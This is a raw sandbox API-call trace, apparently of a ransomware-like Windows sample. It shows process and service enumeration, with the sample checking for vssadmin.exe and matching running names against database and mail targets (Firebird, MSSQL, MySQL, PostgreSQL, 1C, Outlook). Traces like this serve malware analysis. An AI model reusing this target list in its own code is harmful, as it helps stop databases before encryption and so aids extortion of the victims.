	[0049.837] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x918, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0049.838] lstrlenW (lpString="cmd.exe") returned 7
	[0049.838] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0049.839] lstrlenW (lpString="conhost.exe") returned 11
	[0049.839] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0049.840] lstrlenW (lpString="vssadmin.exe") returned 12
	[0049.840] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0049.840] lstrlenW (lpString="VSSVC.exe") returned 9
	[0049.840] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0049.841] lstrlenW (lpString="svchost.exe") returned 11
	[0049.841] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0
	[0049.842] CloseHandle (hObject=0x178) returned 1
	[0049.842] Sleep (dwMilliseconds=0x1f4) 
	[0050.683] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d0818
	[0050.684] EnumServicesStatusExW (in: hSCManager=0x35d0818, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 0
	[0050.684] GetLastError () returned 0xea
	[0050.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x12c6) returned 0x3ea0058
	[0050.684] EnumServicesStatusExW (in: hSCManager=0x35d0818, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3ea0058, cbBufSize=0x12c6, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3ea0058, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 1
	[0050.685] CloseServiceHandle (hSCObject=0x35d0818) returned 1
	[0050.685] lstrlenW (lpString="Appinfo") returned 7
	[0050.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0050.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0050.685] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0050.685] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0050.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0050.685] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0050.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0050.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0050.685] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0050.685] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0050.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0050.686] lstrlenW (lpString="AudioSrv") returned 8
	[0050.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0050.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0050.686] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0050.686] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0050.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0050.686] lstrlenW (lpString="BFE") returned 3
	[0050.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0050.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0050.686] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0050.686] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0050.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0050.686] lstrlenW (lpString="CryptSvc") returned 8
	[0050.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0050.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0050.686] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0050.686] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0050.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0050.686] lstrlenW (lpString="CscService") returned 10
	[0050.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0050.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0050.686] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0050.686] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0050.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0050.686] lstrlenW (lpString="DcomLaunch") returned 10
	[0050.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0050.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0050.687] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0050.687] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0050.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0050.687] lstrlenW (lpString="Dhcp") returned 4
	[0050.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0050.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0050.687] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0050.687] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0050.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0050.687] lstrlenW (lpString="Dnscache") returned 8
	[0050.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0050.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0050.687] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0050.687] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0050.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0050.687] lstrlenW (lpString="DPS") returned 3
	[0050.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0050.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0050.687] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0050.687] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0050.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0050.687] lstrlenW (lpString="eventlog") returned 8
	[0050.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0050.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0050.687] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0050.687] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0050.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0050.687] lstrlenW (lpString="EventSystem") returned 11
	[0050.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0050.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0050.688] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0050.688] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0050.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0050.688] lstrlenW (lpString="gpsvc") returned 5
	[0050.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0050.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0050.688] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0050.688] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0050.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0050.688] lstrlenW (lpString="iphlpsvc") returned 8
	[0050.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0050.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0050.688] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0050.688] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0050.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0050.688] lstrlenW (lpString="LanmanServer") returned 12
	[0050.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0050.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0050.688] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0050.688] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0050.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0050.688] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0050.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0050.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0050.688] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0050.688] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0050.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0050.689] lstrlenW (lpString="lmhosts") returned 7
	[0050.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0050.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0050.689] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0050.689] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0050.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0050.689] lstrlenW (lpString="MMCSS") returned 5
	[0050.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0050.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0050.689] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0050.689] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0050.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0050.689] lstrlenW (lpString="MpsSvc") returned 6
	[0050.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0050.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0050.689] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0050.689] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0050.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0050.689] lstrlenW (lpString="Netman") returned 6
	[0050.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0050.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0050.689] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0050.689] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0050.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0050.689] lstrlenW (lpString="netprofm") returned 8
	[0050.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0050.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0050.689] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0050.689] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0050.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0050.690] lstrlenW (lpString="NlaSvc") returned 6
	[0050.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0050.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0050.690] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0050.690] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0050.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0050.690] lstrlenW (lpString="nsi") returned 3
	[0050.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0050.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0050.690] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0050.690] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0050.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0050.690] lstrlenW (lpString="PcaSvc") returned 6
	[0050.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0050.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0050.690] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0050.690] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0050.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0050.690] lstrlenW (lpString="PlugPlay") returned 8
	[0050.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0050.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0050.690] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0050.690] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0050.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0050.690] lstrlenW (lpString="Power") returned 5
	[0050.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0050.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0050.690] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0050.691] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0050.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0050.691] lstrlenW (lpString="ProfSvc") returned 7
	[0050.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0050.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0050.691] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0050.691] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0050.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0050.691] lstrlenW (lpString="RpcEptMapper") returned 12
	[0050.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0050.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0050.691] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0050.691] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0050.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0050.691] lstrlenW (lpString="RpcSs") returned 5
	[0050.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0050.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0050.691] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0050.691] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0050.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0050.691] lstrlenW (lpString="SamSs") returned 5
	[0050.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0050.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0050.691] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0050.691] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0050.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0050.691] lstrlenW (lpString="Schedule") returned 8
	[0050.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0050.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0050.691] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0050.692] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0050.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0050.692] lstrlenW (lpString="SENS") returned 4
	[0050.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0050.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0050.692] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0050.692] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0050.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0050.692] lstrlenW (lpString="ShellHWDetection") returned 16
	[0050.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0050.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0050.692] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0050.692] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0050.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0050.692] lstrlenW (lpString="Spooler") returned 7
	[0050.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0050.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0050.692] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0050.692] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0050.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0050.692] lstrlenW (lpString="swprv") returned 5
	[0050.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1
	[0050.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1
	[0050.692] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1
	[0050.692] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1
	[0050.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1
	[0050.692] lstrlenW (lpString="SysMain") returned 7
	[0050.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0050.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0050.692] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0050.692] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0050.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0050.693] lstrlenW (lpString="Themes") returned 6
	[0050.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0050.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0050.693] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0050.693] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0050.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0050.693] lstrlenW (lpString="TrkWks") returned 6
	[0050.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0050.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0050.693] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0050.693] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0050.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0050.693] lstrlenW (lpString="UxSms") returned 5
	[0050.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0050.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0050.693] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0050.693] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0050.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0050.694] lstrlenW (lpString="VSS") returned 3
	[0050.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1
	[0050.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1
	[0050.694] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1
	[0050.694] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1
	[0050.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1
	[0050.694] lstrlenW (lpString="WdiServiceHost") returned 14
	[0050.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0050.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0050.694] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0050.694] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0050.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0050.694] lstrlenW (lpString="WdiSystemHost") returned 13
	[0050.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0050.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0050.694] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0050.694] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0050.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0050.694] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0050.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0050.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0050.694] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0050.694] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0050.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0050.694] lstrlenW (lpString="Winmgmt") returned 7
	[0050.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0050.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0050.694] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0050.694] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0050.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0050.694] lstrlenW (lpString="WPDBusEnum") returned 10
	[0050.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0050.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0050.695] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0050.695] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0050.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0050.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3ea0058 | out: hHeap=0x4f0000) returned 1
	[0050.695] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x200
	[0050.698] Process32FirstW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0050.699] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0050.699] lstrlenW (lpString="System") returned 6
	[0050.699] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0050.699] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0050.700] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0050.700] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0050.700] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0050.700] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0050.700] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
